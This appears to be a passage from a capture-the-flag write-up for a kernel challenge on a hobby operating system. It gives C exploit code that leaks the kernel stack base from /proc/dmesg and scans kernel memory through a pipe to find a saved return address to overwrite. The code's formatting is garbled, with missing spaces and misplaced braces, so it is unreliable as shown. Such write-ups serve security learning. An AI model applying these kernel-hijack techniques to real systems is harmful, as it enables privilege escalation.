I really, really like this lovingly handcrafted OS. It would be a shame if something happened to it…
This is commit # fd06164fa0cee25ab69c701897de0a4bd03537d6 with the attached patch applied. Flag is in /dev/hdb.
Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 5 minutes and 30 seconds of CPU time, whichever happens first; you may contact us in case this causes problems for you. Download:
/* * Finds base of the kernel stack assocaited with our child process */ unsignedlongfind_stackbase() { FILE* fp; char* line = NULL; char* end = NULL; size_t len = 0; ssize_tread; unsignedlong val = 0;
fp = fopen("/proc/dmesg", "r");
while ((read = getline(&line, &len, fp)) != -1) { } //puts(line); line = strstr(line, "@") + 2; end = strstr(line, " "); *end = 0;
fclose(fp);
//strtoul is broken so we chop off the highest nibble and add it back in after val = strtoul(line + 3, NULL, 16); val |= 0xC0000000; //printf("%lu\n", val);
return val; }
/* * Finds the address on the stack that stores the return address we want to overwrite. */ unsignedlongfind_hijack(unsignedlong stack_base) { int p[2]; //p[0]:out; p[1]:in char buf[0x1000] = {}; unsignedlong addr;
pipe(p);
addr = stack_base;
for (int i = 0; i < 0x10000; i += 0x1000) { write(p[1], (void*)(addr + i), 0x1000); read(p[0], buf, 0x1000); for (int j = 0; j < 0x1000 - 0x4; j += 4) { uint32_t ret = *(uint32_t*)(buf + j); if (ret == RETURN_ADDR) { return addr + i + j; } } } return0; }